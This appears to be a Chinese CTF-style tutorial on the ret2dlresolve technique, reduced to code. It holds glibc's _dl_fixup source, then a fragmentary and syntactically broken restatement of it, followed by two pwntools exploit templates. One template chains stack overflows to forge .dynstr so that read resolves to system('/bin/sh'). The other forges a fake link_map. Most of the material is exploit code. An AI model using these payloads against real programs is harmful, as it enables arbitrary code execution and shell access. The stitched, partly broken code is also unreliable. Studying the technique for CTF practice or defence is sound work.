DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)

{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

#ifdef SHARED
  /* Auditing checkpoint: we have a new binding.  Provide the auditing
     libraries the possibility to change the value and tell us whether further
     auditing is wanted.
     The l_reloc_result is only allocated if there is an audit module which
     provides a la_symbind.  */
  if (l->l_reloc_result != NULL)
    {
      /* This is the address in the array where we store the result of previous
	 relocations.  */
      struct reloc_result *reloc_result
	= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
      unsigned int init = atomic_load_acquire (&reloc_result->init);
      if (init == 0)
	{
	  _dl_audit_symbind (l, reloc_result, reloc, sym, &value, result, true);

	  /* Store the result for later runs.  */
	  if (__glibc_likely (! GLRO(dl_bind_not)))
	    {
	      reloc_result->addr = value;
	      /* Guarantee all previous writes complete before init is
		 updated.  See CONCURRENCY NOTES below.  */
	      atomic_store_release (&reloc_result->init, 1);
	    }
	}
      else
	value = reloc_result->addr;
    }
#endif

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);

const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
  const ElfW(Half) *vernum = (const void *) D_PTR (l, l->l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}

int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
  THREAD_GSCOPE_SET_FLAG ();
  flags |= DL_LOOKUP_GSCOPE_LOCK;
}

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                               version, ELF_RTYPE_CLASS_PLT, flags, NULL);

if (!RTLD_SINGLE_THREAD_P)
  THREAD_GSCOPE_RESET_FLAG ();

value = DL_FIXUP_MAKE_VALUE (result,
                            SYMBOL_ADDRESS (result, sym, false));

else
{
    value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
    result = l;
}

value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
    && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

#ifdef SHARED
  /* Auditing checkpoint: we have a new binding.  Provide the auditing
     libraries the possibility to change the value and tell us whether further
     auditing is wanted.
     The l_reloc_result is only allocated if there is an audit module which
     provides a la_symbind.  */
  if (l->l_reloc_result != NULL)
    {
      /* This is the address in the array where we store the result of previous
	 relocations.  */
      struct reloc_result *reloc_result
	= &l->l_reloc_result[reloc_index (pltgot, reloc_arg, sizeof (PLTREL))];
      unsigned int init = atomic_load_acquire (&reloc_result->init);
      if (init == 0)
	{
	  _dl_audit_symbind (l, reloc_result, reloc, sym, &value, result, true);

	  /* Store the result for later runs.  */
	  if (__glibc_likely (! GLRO(dl_bind_not)))
	    {
	      reloc_result->addr = value;
	      /* Guarantee all previous writes complete before init is
		 updated.  See CONCURRENCY NOTES below.  */
	      atomic_store_release (&reloc_result->init, 1);
	    }
	}
      else
	value = reloc_result->addr;
    }
#endif

if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf = ELF('./elf')
p = process('./elf')

# 1.必要的 ROP 链组成
ret =                 # 用于16位对齐
bss =                 # 攻击者可控的内存起始地址
pop_rdi =             # 传递第一个参数
pop_rsi =             # 传递第二个参数
pop_rdx =             # 传递第三个参数
padding =             # 用于进行栈溢出的冗余
read_got =            # 用于多次调用 read 覆盖字符表指针、构造伪字符表等
read_plt =            # read 函数在 plt 表上的存根，定位到 push 指令
ret_main =            # 作为多次调用 read 的返回值
str_tab_ptr =         # 程序存放字符表指针的地址

# 2.进行第一次栈溢出，调用 read 函数覆盖程序字符表指针
payload_1 = b'A' * padding           # 填充到返回地址
payload_1 += p64(ret)                # 16字节对齐（ret gadget）
payload_1 += p64(pop_rdi)            # read(0, str_tab_ptr, 0x8)
payload_1 += p64(0x0)                # fd = 0 (stdin)
payload_1 += p64(pop_rsi)            
payload_1 += p64(str_tab_ptr)        # buf = str_tab_ptr
payload_1 += p64(pop_rdx)            
payload_1 += p64(0x8)                # count = 0x8
payload_1 += p64(read_got)           # 调用 read
payload_1 += p64(ret_main)           # 返回 main
p.sendline(payload_1)
p.sendline(p64(bss))

# 3.进行第二次栈溢出，调用 read 函数构造伪字符表
payload_2 = b'A' * padding           # 填充到返回地址
payload_2 += p64(ret)                # 16字节对齐（ret gadget）
payload_2 += p64(pop_rdi)            # read(0, bss, 0x100)
payload_2 += p64(0x0)                # fd = 0 (stdin)
payload_2 += p64(pop_rsi)            
payload_2 += p64(bss)                # buf = bss
payload_2 += p64(pop_rdx)            
payload_2 += p64(0x100)              # count = 0x100
payload_2 += p64(read_got)           # 调用 read
payload_2 += p64(ret_main)           # 返回 main

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")

p.sendline(payload_2)
p.sendline(dynstr)

# 4.进行第三次栈溢出，调用 read 函数在 bss+0x100 写入 '/bin/sh\x00' 字符串
payload_3 = b'A' * padding           # 填充到返回地址
payload_3 += p64(ret)                # 16字节对齐（ret gadget）
payload_3 += p64(pop_rdi)            # read(0, bss + 0x100, 0x8)
payload_3 += p64(0x0)                # fd = 0 (stdin)
payload_3 += p64(pop_rsi)            
payload_3 += p64(bss + 0x100)        # buf = bss + 0x100
payload_3 += p64(pop_rdx)            
payload_3 += p64(0x8)                # count = 0x8
payload_3 += p64(read_got)           # 调用 read
payload_3 += p64(ret_main)           # 返回 main
p.sendline(payload_3)
p.sendline(b'/bin/sh\x00')

# 5.进行第四次栈溢出，将参数传入为 '/bin/sh\x00' 字符串，调用 read@plt 存根的 push 指令
payload_4 = b'A' * padding           # 填充到返回地址
payload_4 += p64(ret)                # 16字节对齐（ret gadget）
payload_4 += p64(pop_rdi)            # system('/bin/sh\x00')
payload_4 += p64(bss + 0x100)
payload_4 += p64(read_plt)           # 执行 push 执行，进入 _dl_runtime_resolve
p.sendline(payload_4)

p.interactive()

struct link_map {
    Elf64_Addr l_addr;
 
    char *l_name;
 
    Elf64_Dyn *l_ld;
 
    struct link_map *l_next;
 
    struct link_map *l_prev;
 
    struct link_map *l_real;
 
    Lmid_t l_ns;
 
    struct libname_list *l_libname;
 
    Elf64_Dyn *l_info[76];
    ...
 
    size_t l_tls_firstbyte_offset;
 
    ptrdiff_t l_tls_offset;
 
    size_t l_tls_modid;
 
    size_t l_tls_dtor_count;
 
    Elf64_Addr l_relro_addr;
 
    size_t l_relro_size;
 
    unsigned long long l_serial;
 
    struct auditstate l_audit[];
}

from pwn import *

system_offset =          # system 函数相对 read 函数的偏移
fake_link_map =          # 伪造的 link_map 所在的地址
read_got =               # read
bss =                    # 为程序提取 DT_STRTAB 提供可读地址

linkmap = flat({
0x0: system_offset,                      # l_addr

'''伪造的 Elf64_Dyn - DT_SYMTAB'''
0x8: p64(0x6),                           # d_tag 表示 DT_SYMTAB
0x10: p64(read_got - 0x8 - 0x18 * n),    # d_un 指向 read_got ,让 st_value 为函数真实地址

'''伪造的 Elf64_Dyn - DT_JMPREL'''
0x18: p64(0x17),                             # d_tag 表示 DT_JMPREL
0x20: p64(fake_link_map + 0x28 - 0x18 * n),  # d_un 指向 fake_link_map 复用地址，根据重定位表项的偏移计算

'''伪造的 Elf64_Rela'''
0x28: p64(read_got - system_offset),     # r_offset
0x30: p64(0x100000007),                  # r_info 保证低32位为 7 通过断言，高32位按照实际情况
0x38: p64(0x0)，                         # r_addend 设置为 0x0 即可

0x68: p64(bss),                          # l_info[DT_STRTAB] 指向一个可读地址即可
0x70: p64(fake_link_map + 0x8),          # l_info[DT_SYMTAB] 指向 Elf64_Dyn 复用地址
0xf8: p64(fake_link_map + 0x18),         # l_info[DT_JMPREL] 指向 Elf64_Dyn 复用地址
})